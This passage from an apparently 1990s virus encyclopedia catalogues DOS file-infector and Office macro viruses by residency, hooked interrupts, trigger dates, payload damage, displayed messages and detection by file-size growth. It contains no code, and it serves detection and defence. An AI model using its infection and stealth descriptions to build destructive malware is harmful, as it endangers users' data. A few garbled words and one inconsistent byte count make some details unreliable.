Virus searches for an uninfected COM file on current directory,
then infects it. It only infects one file at a time.

Damage: None

Note:
1) Does not stay in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged.

Detecting Method: Infected file sizes increase by 1016 bytes.

[Iero-512-560]
Virus Name: Iero-512-560
Virus Type: COM File infector
Virus Length:  512 or 560 bytes

Executing Procedure:
Checks whether it has stayed resident in memory. If not, it will
stay resident in high memory. Then hooks INT 21h and goes back to
original routine.

Vectors hooked:
Hooks INT 21H(AH=4Bh) to infect files. If the program to be
executed is an uninfected COM file, virus proceeds to infect it.
Hooks INT 08h to check current time at all times. At some random
point in time, it will display the following message:

    "Mulier pulchr aest janua diab oli , .. via iniq uitatis,
    scorpion is percussio. .St. Ieronim.."

Damage: None

Note:
1) You will see an error message when writing because INT 24h has
   not been hanged.
2) It will decrease memory size by 1 while virus is residing in
   memory (You can see this when using MEM.EXE)

Detecting Method: Infected file sizes increase by 512 or 560
bytes.

[Iernim]
Virus Name: Iernim
Virus Type: COM File infector
Virus Length:  570 or 600 bytes

Executing Procedure:
Checks whether it has stayed resident in memory. If not, it will
stay resident in high memory. Then hooks INT 21h and goes back to
original routine.

Vectors hooked:
Hooks INT 21H(AH=4Bh) to infect files. If the program to be
executed is an uninfected COM file, virus proceeds to infect it.
Hooks INT 08h to check current time at all times. At some random
point in time, it will display the following message:

    "Mulier pulchra est janua diaboli , .. via iniquitatis,
    scorpionis percussio ..St. Ieronim.."

Damage: None

Note:
1) You will see an error message when writing because INT 24h has
   not been hanged.
2) It will decrease memory size by 1 while virus is residing in
   memory (You can see this when using MEM.EXE)

Detecting Method: Infected file sizes increase by 570 or 600
bytes.

[Horror]
Virus Name: Horror
Virus Type: COM & EXE File infector
Virus Length:  1112-1182 bytes

Executing Procedure:
Checks whether it has stayed resident in memory. If not, it will
stay resident in high memory. Then hooks INT 21h, and then checks
whether COMMAND.COM that booted up system has been infected or
not. If not , virus infects it and goes back to original routine.

Vectors hooked:
Hooks INT 21H(AH=4Bh) to infect files. First, it will hang INT
24h to prevent divulging its trace when writing. If the program
to be executed is an uninfected COM or EXE file, virus proceeds
to infect it.

Damage: It will destroy all data on hard disk (Every variant of
the virus has its own infecting time).

Note: The Soft-mice software is destroyed by infected EXE
programs.

Detecting Method: Infected file sizes increase by 1112-1182
bytes.

[I-B]
Virus Name: I-B
Virus Type: COM File infector
Virus Length:

Executing Procedure:
Virus searches for all uninfected COM files on all directory, and
infects them. No matter whether it has infected a file or not,
this virus will check whether current day  is Monday. If it is,
virus proceeds to destroy all data  on hard diskette.

Damage:
1) It will sometimes destroy all data on hard diskette.
2) It will overwrite original files with a virus code. Original
   files are destroyed.

Note:
1) Does not stay in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged.

[Cr-2480b]
Virus Name: Cr-2480b
Virus Type: COM File infector
Virus Length:  2480 bytes

Executing Procedure:
Virus searches for an uninfected COM file on current directory,
then infects it (It only infects one file at a time).

Damage: None

Note:
1) Does not stay in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged.

Detecting Method: Infected file sizes increase by 2480 bytes.

[Md-354]
Virus Name: Md-354
Virus Type: COM File infector
Virus Length:  354 bytes

Executing Procedure:
Virus searches for an uninfected COM file on current directory,
then infects it (It only infects one file at a time).

Damage: None

Note:
1) Does not stay in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged.

Detecting Method: Infected file sizes increase by 354 bytes.

[Los-693]
Virus Name: Los-693
Virus Type: COM File infector
Virus Length: 693 bytes

Executing Procedure:
Checks whether it has stayed resident in memory. If not, it will
stay resident in high memory. Then hooks INT 21h and goes back to
original routine.

Vectors hooked:
Hooks INT 21H (AH=4Bh) to infect files. First, it will hang INT
24h to prevent divulging its trace when writing. If the program
to be executed is an uninfected COM file, virus proceeds to
infect it.

Damage:
There is a flag of virus in partition (Initial value is zero).
The value will increase by 1 every time virus infects a file. When
the value of flag is larger than 223, it will hook INT 08h. A
minute later, characters on screen fall down. Then, virus halts
system.

Detecting Method: Infected file sizes increase by 693 bytes.

[Bung1422]
Virus Name: Bung1422
Virus Type: COM File infector
Virus Length: 1442 bytes

Executing Procedure:
Checks whether it has stayed resident in memory. If not, it will
stay resident in high memory. Then hooks INT 21h and goes back to
original routine. This virus will check whether current date is
September 20. If it is, virus displays the following message:

    "Jonhan Bonhn  - September 20 1980
    -  L E D  Z E P P E L I N  -"

Vectors hooked:
Hooks INT 21H(AH=4Bh). First, it will hang INT 24h to prevent
divulging its trace when writing. If the program to be executed
is an uninfected COM file, virus infects it directly. If the
program to be executed is an  EXE file, it will search for an
uninfected COM file and infect this COM file. Finally, virus
restores INT 24h.

Damage: None

Detecting Method: Infected file sizes increase by 1422 bytes.

[Src-377]
Virus Name: Src-377
Virus Type: COM File infector
Virus Length: 377 bytes

Executing Procedure:
Virus searches for all uninfected COM files on all directories,
and proceeds to infect them.

Damage:
When hard disk divides into more than one partition, and system
is booted up from second partition (D drive), all data on this
drive will be destroyed.

Note:
1) Does not stay in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged.

Detecting Method: Infected file sizes increase by 377 bytes.

[Mini-195]
Virus Name: Mini-195
Virus Type: COM File infector
Virus Length: 195 or 218 bytes

Executing Procedure:
Virus searches for an uninfected #*.COM file ("#" indicates a
character from 'A' to 'Z', like A*.com, F*.COM, X*.COM) on
current directory, and virus proceeds to infect them.

Damage: None

Note:
1) Does not stay in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged.

Detecting Method: Infected file sizes increase by 195 or 218
bytes.

[Gold]
Virus Name: Gold
Virus Type: COM & EXE File infector
Virus Length:  612 bytes

Executing Procedure:
Checks whether it has stayed resident in memory. If not, it will
stay resident in high memory. Then hooks INT 21h and goes back to
original routine.

Vectors hooked:
Hooks INT 21H(AH=4Bh) to infect files. If the program to be
executed is an uninfected COM or EXE file, virus proceeds to
infect it. After it has infected the file, virus has a 50% chance
of going back to the original routine. The other possibility is
for the virus to display random characters and end without
executing original routine.

Damage: None

Note: You will see an error message when writing because INT 24h
has not been hanged.

Detecting Method: Infected file sizes increase by 612 bytes.

[Hard-Day]
Virus Name: Hard-Day
Virus Type: COM File infector
Virus Length:  662 bytes

Executing Procedure:
Checks whether it has stayed resident in memory. If not, it will
stay resident in high memory. Then hooks INT 21h and goes back to
original routine.

Vectors hooked:
Hooks INT 21H(AH=4Bh) to infect files. If the program to be
executed is an uninfected COM file, virus proceeds to infect it.

Damage:
If current calendar day is Monday and current time is 18:00
later, the virus halts the system after displaying the following
message:

    "Hard day's night !"

Note: You will see an error message when writing because INT 24h
has not been hanged.

Detecting Method: Infected file sizes increase by 662 bytes.

[In83-584]
Virus Name: In83-584
Virus Type: COM File infector
Virus Length: 584 bytes

Executing Procedure:
Checks whether it has stayed resident in memory. If not, it will
stay resident in high memory. Then hooks INT 21h and goes back to
original routine.

Vectors hooked:
Hooks INT 21H(AH=4Bh) to infect files. First, it will hang INT
24h to prevent divulging its trace when writing. If the program
to be executed is an uninfected COM file, virus proceeds to
infect it.

Damage: None

Detecting Method: Infected file sizes increase by 584 bytes.

[Tankard]
Virus Name: Tankard
Virus Type: COM File infector
Virus Length: 493 bytes

Executing Procedure:
Checks whether it has stayed resident in memory. If not, it will
stay resident in high memory. Then hooks INT 21h and goes back to
original routine.

Vectors hooked:
Hooks INT 21H (AH=4Bh) to infect files. First, it will hang INT
24h to prevent divulging its trace when writing. If the program
to be executed is an uninfected COM file, virus proceeds to
infect it.

Damage: None

Detecting Method: Infected file sizes increase by 493 bytes.

[1241]
Virus Name: 1241
Virus Type: COM & EXE File infector
Virus Length: 1560-1570 bytes

Executing Procedure:
Virus checks whether current calendar date is later than November
13, 1990. If it is, virus displays the following message:

    "St Cruz, Dili, 1991 Nov 12.
    Lusitania Expresso,
    Freedom for East Timor !"

Then reboots system. Otherwise, it will check whether it has
stayed resident in memory. If not, it will stay resident in high
memory. Then hooks INT 21h and goes  back to original routine.

Vectors hooked:
Hooks INT 21H(AH=4Bh) to infect files. If the program to be
executed is an uninfected COM or EXE file, virus proceeds to
infect it.

Damage: None

Detecting Method: Infected file sizes increase by 1560-1570
bytes.

[104]
Virus Name: 104
Virus Type: COM File infector
Virus Length: 400 bytes

Executing Procedure:
Checks whether it has stayed resident in memory. If not, it will
stay resident in high memory. Then hooks INT 21h and goes back to
original routine.

Vectors hooked:
Hooks INT 21H(AH=4Bh) to infect files. If the program to be
executed is an uninfected COM file, virus proceeds to infect it.

Damage: None

Note: You will see an error message when writing because INT 24h
has not been hanged.

Detecting Method: Infected file sizes increase by 400 bytes.

[Trident]
Virus Name: Trident
Virus Type: COM & EXE File infector
Virus Length: 2385-2395 bytes

Executing Procedure:
Checks whether it has stayed resident in memory. If not, it will
stay resident in high memory. Then hooks INT 21h and goes back to
original routine.

Vectors hooked:
Hooks INT 21H(AH=4Bh) to infect files. First, it will hang INT
24h to prevent divulging its trace when writing. Then when you
type  Dir" command (like DIR H*.*), virus infects all uninfected
COM & EXE files accessed through  Dir" command.

Damage: None

Detecting Method: Infected file sizes increase by 2385-2395
bytes.

[Explode]
Virus Name: Explode
Virus Type: COM File infector
Virus Length:

Executing Procedure:
Virus searches for all uninfected COM files on current directory,
then proceeds to infect them. No matter whether it has infected a
file or not, it will check whether current month is April or May.
If it is, virus will display the following message:

    "Your hard drive is about to explode !"

Virus then destroys all data on hard diskette.  If calendar shows
months other than April and May, virus displays :

    "Program too big to fit in memory."

Damage:
1) It will sometimes destroy all data on hard diskette.
2) It will overwrite original files with a virus code. Original
   files are destroyed.

Note:
1) It does not stay resident in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged.

[End-Of]
Virus Name: End-Of
Virus Type: COM File infector
Virus Length: 783 bytes

Executing Procedure:
Checks whether it has stayed resident in memory. If not, it will
stay resident in high memory. Then hooks INT 21h and goes back to
original routine.

Vectors hooked:
Hooks INT 21H(AH=3Bh) to infect files. When accessing other
directories, all uninfected COM files on original directory will
be infected.

Damage: None

Note: You will see an error message when writing because INT 24h
has not been hanged.

Detecting Method: Infected file sizes increase by 783 bytes.

[Copyr-Ug]
Virus Name: Copyr-Ug
Virus Type: COM & EXE File infector
Virus Length: 766 bytes

Executing Procedure:
Checks whether it has stayed resident in memory. If not, it will
stay resident in high memory. Then hooks INT 21h and goes back to
original routine.

Vectors hooked:
Hooks INT 21H(AH=4Bh) to infect files. If the program to be
executed is an uninfected COM or EXE file, virus proceeds to
infect it.

Damage: None

Note: You will see an error message when writing because INT 24h
has not been hanged.

Detecting Method: Infected file sizes increase by 766 bytes.

[Chuang]
Virus Name: Chuang
Virus Type: COM & EXE File infector
Virus Length:  970 bytes

Executing Procedure:
Virus searches for an uninfected COM file on current directory,
then infects it (It infects only one file at a time). No matter
whether it has infected a file or not, it will check whether
current calendar day is later   than 12, and that current time is
22:00 or later. If these specifications are met, virus destroys
all data on hard diskette.

Damage:  Virus will sometimes destroy all data on hard diskette.

Note:
1) It does not stay resident in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged.

Detecting Method: Infected file sizes increase by 970 bytes.

[Ancient]
Virus Name: Ancient
Virus Type: COM File infector
Virus Length:  783 bytes

Executing Procedure:
Virus searches for an uninfected COM file on current directory,
then infects it (It infects only one file at a time). Screen will
then be cleaned or will display various colors of ' * ' until a
key is depressed. At that time, a strange sound will emit for
approx. 5 minutes. After which, the virus will return to the
original program.

Damage: None

Note:
1) It does not stay resident in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged.
3) Infected files can be infected again.

Detecting Method: Infected file sizes  increase by 783 bytes.

[Adolf_Hitler]
Virus Name: Adolf_Hitler
Virus Type: COM File infector
Virus Length: 475 bytes

Executing Procedure:
Checks whether it has stayed resident in memory. If not, it will
stay resident in high memory. Then hooks INT 21h and goes back to
original routine.

Vectors hooked:
Hooks INT 21H(AH=4Bh) to infect files. First, it will hang INT
24h to prevent divulging its trace when writing. If the program
to be executed is an uninfected COM file, virus proceeds to
infect it.

Damage: None

Detecting Method: Infected file sizes increase by 475 bytes.

[Fob]
Virus Name: Fob
Virus Type: COM File infector
Virus Length:  1750-1950 bytes

Executing Procedure:
Virus searches for an uninfected COM file on current directory,
then infects it (Infects only one file at a time).   There is a
50% chance that virus will display a  message asking user to
input the following word: "SLOVAKIA."  Program will wait until
user inputs this word and will proceed to terminate program.

Damage: None

Note:
1) It does not stay resident in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged.

Detecting Method: Infected files will ask user to input words
like "SLOVAKIA", and does not end until user has done so.

[Signs]
Virus Name: Signs
Virus Type: COM  File infector
Virus Length:  720 bytes

Executing Procedure:
Virus checks whether it has stayed resident in memory. If not, it
will stay resident in high memory. Then hooks INT 21h and goes
back to original routine. It will check whether current calendar
day is Friday. If it is, screen will roll up once a minute.

Vectors hooked:
Hooks INT 21H(AH=4Bh) to infect files. First, it will hang INT
24h to prevent divulging its trace when writing. If the program
to be executed is an uninfected COM file, virus proceeds to
infect it.

Damage: None

Detecting Method: Infected file sizes increase by 720 bytes.

[Shield]
Virus Name: Shield
Virus Type: COM  File infector
Virus Length:  172 bytes

Executing Procedure:
Virus checks whether it has stayed resident in memory. If not, it
will stay resident in high memory. Then hooks INT 21h and goes
back to original routine.

Vectors hooked:
Hooks INT 21H(AH=4Bh) to infect files. If the program to be
executed is an uninfected COM file, virus proceeds to infect it.

Damage: None

Note:
1) You will see an error message when writing because INT 24h has
   not been hanged.
2) The function of the infected program is different from the
   original. Infected files have no ability to infect other
   files. But they can display a message when current month is
   February. The message is the following:

   "I greet you user .
    I am COM-CHILD, son of The Breeder Virus.
    Look out for the RENAME-PROBLEM !"

Detecting Method: Infected file sizes increase by 172 bytes.

[Wishes]
Virus Name: Wishes
Virus Type: COM  & EXE File infector
Virus Length:  970 bytes

Executing Procedure:
Virus checks whether it has stayed resident in memory. If not, it
will stay resident in high memory. Then hooks INT 21h and goes
back to original routine. It will check whether current calendar
day is 13, Friday. If it is, virus proceeds to destroy all data
on hard diskette.

Vectors hooked:
Hooks INT 21H (AH=4Bh) to infect files. First, it will hang INT
24h to prevent divulging its trace when writing. If the program
to be executed is an uninfected COM or EXE file, virus proceeds
to infect it.

Damage:  Virus will sometimes destroy all data on hard diskette.

Detecting Method: Infected file sizes increase by 970 bytes.

[439]
Virus Name: 439
Virus Type: COM File infector
Virus Length:  439 bytes

Executing Procedure:
Virus checks whether it has stayed resident in memory. If not, it
will stay resident in high memory. Then hooks INT 21h and goes
back to original routine.

Vectors hooked:
Hooks INT 21H(AH=4Bh) to infect files. First, it will hang INT
24h to prevent divulging its trace when writing. If the program
to be executed is an uninfected COM file, virus proceeds to
infect it.

Damage: None

Detecting Method: Infected file sizes increase by 439 bytes.

[4-A]
Virus Name: 4-A
Virus Type: COM File infector
Virus Length:  450-460 bytes

Executing Procedure:
Virus displays the following message:

    "-----Hello  , I am virus ! -----".

Virus then searches for an uninfected COM file on current
directory and infects it (It infects only one file at a time).

Damage: None

Note:
1) It does not stay resident in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged.

Detecting Method:
1) Infected files display above message when executed
2) Infected file sizes increase by 450-460 bytes.

[330]
Virus Name: 330
Virus Type: COM File infector
Virus Length:  330 bytes

Executing Procedure:
Virus searches for an uninfected COM file on current directory
and infects it (It infects only one file at a time). Virus will
then check whether current month is July. If it is, virus
displays the following message:

    "[330] by ICE-9."

Damage: None

Note:
1) It does not stay resident in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged.

Detecting Method: Infected file sizes increase by 330 bytes.

[203]
Virus Name: 203
Virus Type: COM File infector
Virus Length:  203 bytes

Executing Procedure:
Virus searches for an uninfected COM file on current directory,
then infects it (It infects only one file at a time).

Damage: None

Note:
1) It does not stay resident in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged.

Detecting Method: Infected file sizes increase by 203 bytes.

[Mr-Vir]
Virus Name: Mr-Vir
Virus Type: COM File infector
Virus Length:  508 bytes

Executing Procedure:
Virus searches for an uninfected COM file on current directory,
then infects it (It infects only one file at a time).

Damage: None

Note:
1) It does not stay resident in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged.

Detecting Method: Infected file sizes increase by 508 bytes.

[Nazgul]
Virus Name: Nazgul
Virus Type: COM File infector
Virus Length:  266 bytes

Executing Procedure:
Virus searches for all infected COM files on current directory,
then infects them.

Damage: None

Note:
1) It does not stay resident in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged.

Detecting Method: Infected file sizes increase by 266 bytes.

[Napc]
Virus Name: Napc
Virus Type: COM & EXE File infector
Virus Length:  729 bytes

Executing Procedure:
Virus searches for all infected COM & EXE files on current
directory, proceeds then to infect them.

Damage: None

Note:
1) It does not stay resident in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged.

Detecting Method: Infected file sizes increase by 729 bytes.

[Little]
Virus Name: Little
Virus Type: COM File infector
Virus Length:  665 bytes

Executing Procedure:
Virus searches for an uninfected COM file on current directory,
then infects it (It infects only one file at a time).

Damage: None

Note:
1) It does not stay resident in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged.

Detecting Method: Infected file sizes increase by 665 bytes.

[Atte-629]
Virus Name: Atte-629
Virus Type: COM File infector
Virus Length:  629 bytes

Executing Procedure:
Virus searches for an uninfected COM file on current directory,
then infects it (It infects only one file at a time).

Damage: None

Note:
1) It does not stay resident in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged.

Detecting Method: Infected file sizes increase by 629 bytes.

[A&A]
Virus Name: A&A
Virus Type: COM File infector
Virus Length:  506 bytes

Executing Procedure:
Virus checks whether it has stayed resident in memory. If not, it
will stay resident in high memory. Then hooks INT 21h and goes
back to original routine.

Vectors hooked:
Hooks INT 21H(AH=4Bh) to infect files. First, it will hang INT
24h to prevent divulging its trace when writing. If the program
to be executed is an uninfected COM file, virus proceeds to
infect it.

Damage: None

Detecting Method: Infected file sizes increase by 506 bytes.

[Magnitogorski-3]
Virus Name: Magnitogorski-3
Virus Type: COM & EXE File infector
Virus Length:  3000 bytes

Executing Procedure:
Virus checks whether it has stayed resident in memory. If not, it
will stay resident in high memory. Then hooks INT 21h and goes
back to original routine.

Vectors hooked:
Hooks INT 21H(AH=4Bh) to infect files. First, it will hang INT
24h to prevent divulging its trace when writing. If the program
to be executed is an uninfected COM or EXE file, virus proceeds
to infect it.

Damage: None

Detecting Method: Infected file sizes increase by 3000 bytes.

[Lpt-Off]
Virus Name: Lpt-Off
Virus Type: COM File infector
Virus Length:  256 bytes

Executing Procedure:
Virus checks whether it has stayed resident in memory. If not, it
will stay resident in high memory. Then hooks INT 21h and goes
back to original routine.

Vectors hooked:
Hooks INT 21H(AH=4Bh) to infect files. If the program to be
executed is an uninfected COM file, virus proceeds to infect it.

Damage: None

Note: You will see an error message when writing because INT 24h
has not been hanged.

Detecting Method: Infected file sizes increase by 256 bytes.

[Kiwi-550]
Virus Name: Kiwi-550
Virus Type: EXE File infector
Virus Length:  550-570 bytes

Executing Procedure:
Virus checks whether it has stayed resident in memory. If not, it
will stay resident in high memory. Then hooks INT 21h and goes
back to original routine.

Vectors hooked:
Hooks INT 21H(AH=4Bh) to infect files. First, it will hang INT
24h to prevent divulging its trace when writing. If the program
to be executed is an uninfected EXE file, virus proceeds to
infect it.

Damage: None

Detecting Method: Infected file sizes increase by 550-570 bytes.

[Dennis-2]
Virus Name: Dennis-2
Virus Type: COM & EXE File infector
Virus Length:  897 bytes

Executing Procedure:
Virus checks whether it has stayed resident in memory. If not, it
will stay resident in high memory. Then hooks INT 21h and goes
back to original routine.

Vectors hooked:
Hooks INT 21H(AH=4Bh) to infect files. If the program to be
executed is an uninfected COM or EXE file, virus proceeds to
infect it.

Damage: None

Detecting Method: Infected file sizes increase by 897 bytes.

[Beer]
Virus Name: Beer
Virus Type: File infector
Virus Length:

Executing Procedure:
Virus checks whether it has stayed resident in memory. If not, it
will stay resident in high memory. Then hooks INT 21h and goes
back to original routine.

Vectors hooked:
Hooks INT 21H(AH=4Bh) to infect files. First, it will hang INT
24h to prevent divulging its trace when writing. If the program
to be executed is an uninfected file, virus proceeds to infect
it.

Damage: None

Note: This virus has at least three variations.

[2560]
Virus Name: 2560
Virus Type: COM & EXE File infector
Virus Length:  2560 bytes

Executing Procedure:
Virus checks whether it has stayed resident in memory. If not, it
will stay resident in high memory. Then hooks INT 21h and goes
back to original routine.

Vectors hooked:
Hooks INT 21H(AH=4Bh) to infect files. First, it will hang INT
24h to prevent divulging  its trace when writing. If the program
to be executed is an uninfected COM or EXE file, virus proceeds
to infect it.

Damage: None

Detecting Method: Infected file sizes increase by 2560 bytes.

[Atas-3321]
Virus Name: Atas-3321
Virus Type: COM File infector
Virus Length:  3321 bytes

Executing Procedure:
Virus checks whether it has stayed resident in memory. If not, it
will stay resident in high memory. Then hooks INT 21h and goes
back to original routine. (Virus can only execute its program on
DOS 3.3.)

Vectors hooked:
Hooks INT 21H(AH=4Bh) to infect files. First, it will hang INT
24h to prevent divulging its trace when writing. If the program
to be executed is an uninfected COM file, virus proceeds to
infect it.

Damage: None

Detecting Method:
Infected file sizes increase by 3321 bytes.

[Ecu]
Virus Name: Ecu
Virus Type: EXE File infector
Virus Length:  711 bytes

Executing Procedure:
Virus checks whether it has stayed resident in memory. If not, it
will stay resident in high memory. Then hooks INT 21h and goes
back to original routine. (Virus can only execute its program on
DOS 3.3.)

Vectors hooked:
Hooks INT 21H(AH=4Bh) to infect files. First, it will hang INT
24h to prevent divulging its trace when writing. If the program
to be executed is an uninfected EXE file, virus proceeds to
infect it.

Damage:
Most infected files cannot be executed. Detecting Method:
Infected file sizes increase by 711 bytes.

[N1]
Virus Name: N1
Virus Type: COM File infector
Virus Length: 10,230-10,240 bytes

Executing Procedure:
Virus searches for an uninfected COM file on current directory,
then infects it (Infects only one file at a time). Virus will
then display the following message:

"This File Has Been Infected By NUMBER One!"

Damage: None

Note:
1) It does not stay resident in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged.

Detecting Method:
1) Infected files will display the above message when executed.

[Arcv-718]
Virus Name: Arcv-718
Virus Type: COM & EXE File infector
Virus Length:  718 bytes

Executing Procedure: Virus checks whether it has stayed resident
in memory. If not, it will stay resident in high memory. Then
hooks INT 21h and goes back to original routine. It will check
whether current date is between 1 and 7, January. If it is, virus
will display the following message and proceed to hang the
system:

"Hello Dr Sol & Fido Lurve U lots...    "

Vectors hooked: Hooks INT 21H(AH=4Bh) to infect files. If the
program to be executed is an uninfected COM or EXE file, virus
proceeds to infect it.

Damage: Virus will sometimes halt the system.

Detecting Method: Infected file sizes increase by 718 bytes.

[L-933]
Virus Name: L-933
Virus Type: COM File infector
Virus Length:  933-950 bytes

Executing Procedure: Virus searches for an uninfected COM file on
current directory, then infects it (Infects only one file at a
time).   No matter whether it has infected a file or not, it will
check current date.
1) If it is March 8, virus destroys all data on hard diskette.
2) If it is September 1, virus deletes itself.

Damage:  Virus will sometimes destroy all data on hard diskette.

Note:
1) It does not stay resident in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged.

Detecting Method: Infected file sizes increase by 933-950 bytes.

[Alpha743]
Virus Name: Alpha743
Virus Type: COM File infector
Virus Length:  743 bytes

Executing Procedure: Virus searches for an uninfected COM file on
current directory, then infects it (Infects only one file at a
time).   No matter whether it has infected a file or not, it will
check whether current year is 1993 or later.  If current month is
later than February, and current day is 5, virus will display the
following message:

        "Your PC has ALPHA virus.
         Brought to you by the ARCV
         Made in ENGLAND"

Damage: None

Note:
1) It does not stay resident in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged.

Detecting Method: Infected file sizes increase by 743 bytes.

[Clint]
Virus Name: Clint
Virus Type: COM & EXE File infector
Virus Length:

Executing Procedure: Virus searches for uninfected COM or EXE
files on current directory, then infects it (Infects four files
at a time). The virus then displays the following message:
"memory allocation error !"

Damage: It will overwrite original files with a virus code.
Original files are destroyed.

Note:
1) It does not stay resident in memory.
2) You will see an error message when writing because INT 24h has
   not been hanged.

Detecting Method: Infected files display the above message
when executed.

[Love-Child-2710]
Virus Name: Love-Child-2710
Virus Type: COM File infector
Virus Length:  2710 bytes

Executing Procedure: Virus checks whether current date is one of
the following dates: November 5, February 22, June 23, August 24,
or October 6, or that the system is not DOS 3.3. If these
conditions are met, virus destroys Partition and parts of FAT. If
conditions are not met, virus checks whether it has stayed
resident in memory. If not, it will stay resident in high memory.
Then hooks INT 13h and goes back to original routine.

Vectors hooked: Hooks INT 13H to infect files. First, it will
hang INT 24h to prevent divulging its trace when writing. If the
program to be executed is an uninfected COM file, virus proceeds
to infect it.

Damage: Virus sometimes destroys Partition and parts of Fat.

Detecting Method: Infected file sizes increase by 2710 bytes.

[Basedrop]
Virus Name: Basedrop
Virus Type: EXE File infector
Virus Length:

Executing Procedure:
1) There is a 25% chance that the virus will do the following:
   Searches for an uninfected EXE file on current directory, then
   infects it (Infects only one file at a time).
2) There is a 25% chance that the virus will do the following:
   Carries-out above procedure. Then, virus displays a message
   asking user to input the following word: "SLOVAKIA." Virus
   will wait until user inputs this word.  Virus will then
   terminate.
3) There is a 50% chance that virus program will not infect
   files.

Damage: None

[Arianna]
Virus Name:  ARIANNA
Virus Type: Multi-partite virus

1. High memory resident file infector. The ARIANNA virus will
   only infect .EXE files which are shorter than 70000H bytes in
   length and bigger than 1770H bytes in length.
2. Partition sector infector.  This virus overwrites the last 9
   sectors of the hard drive.

Virus Length:  Virus length in EXE files is 3426 bytes and 3586
bytes in memory.

Interrupt Vectors Hooked:  INT 21h.

Infection Process: This virus is spread by executing an infected
program or a computer   with a partition that has been infected.
When a file infected with the ARIANNA virus is executed, it will
check to see if it is already resident in memory by checking to
see if the return value of ax is equal to 0 after int
2f(ax=FE01).  If virus is already in memory it will execute the
infected program.  Virus code remains resident in high memory.

Damage:  Decreases available memory.  Infected file size
increases by 3426 bytes.

Symptoms: While the ARIANNA virus is resident in memory you
cannot alter the HD partition to causdany damage to the partition
sector by cleaning it. The way to clean the ARIANNA virus from
the system is to boot up the computer with a clean bootsb;r
system diskette and overwrite the infected partition sector with
the No.9.

[Boza]
Virus Name: Boza
Alias Name: Bizatch
Virus Type: File Virus
Virus Length: 2,680 bytes
Description: This virus infects .EXE files.

When an infected file is executed, the virus
does not install itself into memory.  The virus
will infect files which are in Microsoft's Win32
Portable Executable (PE) file format which means
that the virus will only infect Win95 and Win32S
executable files.  The virus attempts to infect
up to three files in the current directory,
however due to some bugs in the program it may
end up corrupting the files it infects.

When the system date reaches the 31st of any month
the virus will display the following message:

  "The taste of fame just got tastier!
   VLAD Australia does it again with
   the world's first Win95 Virus.

   From the old school to the new.

   Metabolis
   Qark
   Darkman
   Automag
   Antigen
   RhinceWind
   Quantum
   Absolute Overload
   CoKe"

The virus also contains the following text string:

  "Please note: the name of this virus is [Bizatch]
   written by Quantum of VLAD"

[Winword.Colors]
Virus Name: Colors
Alias Name: WordMacro.Colors
Virus Type: Word macro virus
Virus Length: N/A
Description: This virus infects MS Word documents.

This macro virus consists of the following macros:

    AutoClose
    AutoExec
    AutoOpen
    FileExit
    FileNew
    FileSave
    FileSaveAs
    ToolsMacro

Whenever an infected Word document is opened the virus
will become active by infecting the global template.

Once the virus is active the virus will infect all
documents created using the "File/New" command and also
all files which are saved using the "File/Save" command
or "File/Save As" command.

The virus changes many of the menu items to make it
difficult to delete. For example, it effectively
removes the Tools Macros command so you can't list or
delete the macros in a program with that command.

The virus has a counter which is increased after every
access.  When the counter reaches 300, the virus
changes the Windows colors settings to randomly
selected colors which come into effect the next time
Windows is started.


[Word.Demonstrate]
Virus Name: DMV Word (Demonstration Macro Virus)
Alias Name:
Virus Type: Word macro virus
Virus Length: N/A
Description: This virus infects MS Word documents.

This virus consists of the following macro:

    AutoClose

When an infected file is opened, the virus infects the
global template "Normal.dot" by inserting a single
macro.

Once the virus is active, it will infect all new
documents when they are being closed.


[Winexcel.DMV]
Virus Name: DMV Excel (Demonstration Macro Virus)
Alias Name:
Virus Type: Excel macro virus
Virus Length: N/A
Description: This virus infects MS Excel documents.

This virus consists of the following macros:

    AutoClose

When an infected file is closed, the virus adds a
single macro to the global macro file.  Subsequent
files which are closed also have the macro attached.

This virus does not work because of a bug in the
program.


[Word.Fmt.Trajon]
Virus Name: FormatC
Alias Name:
Virus Type: Word macro virus
Virus Length: N/A
Description: This virus infects MS Word documents.

This virus consists of the following macro:

    AutoOpen

When an infected file is opened, the virus infects the
global template "Normal.dot" by inserting a single
macro.

Once the virus is active, it will attempt to format C:
drive.


[Word.Nuclear]
Virus Name: Nuclear
Alias Name:
Virus Type: Word macro virus
Virus Length: N/A
Description: This virus infects MS Word documents.

This virus consists of the following macros:

    AutoExec
    AutoOpen
    DropSuriv
    FileExit
    FilePrint
    FilePrint
    Default
    FileSaveAs
    InsertPayload
    Payload

When an infected file is opened, the AutoOpen macro is
run which infects the global template.  All files saved
using the "File/Save As" command will be infected

During document printing, if the seconds are between 55
and 59, two following two lines of text will be added
to the end of the last page being printed:

    "And finally I would like to say:"
"STOP ALL FRENCH NUCLEAR TESTING IN THE
PACIFIC!"

After the 5th of April the virus attempts to delete
your system files but fails because of a bug in the
virus. The virus also attempts to infect the system
with a Suriv binary virus, but fails again because of a
bug.

[Word.Xenixos]
Virus Name: Word.Macro.Xenixos
Alias Name: Nemesis, Xos, Evil One, Xenixos:De
Virus Type: Word macro virus
Virus Length: 31342 Bytes (11 Macros)
Infection: German Microsoft Word documents and templates
Symptoms:Text added to printed documents
         Format of C:\ drive
         Change of C:\AUTOEXEC.BAT
         Display of windows

Description: This virus infects MS Word documents.
Xenixos is the first macro virus that was written especially
for the German version of Microsoft Word. All macro
names are in German, and therefore it only works with the
German Word version. The virus was found in Austria, and
is also posted in Usenet.

The following macros can be found in infected documents
and viewed with the
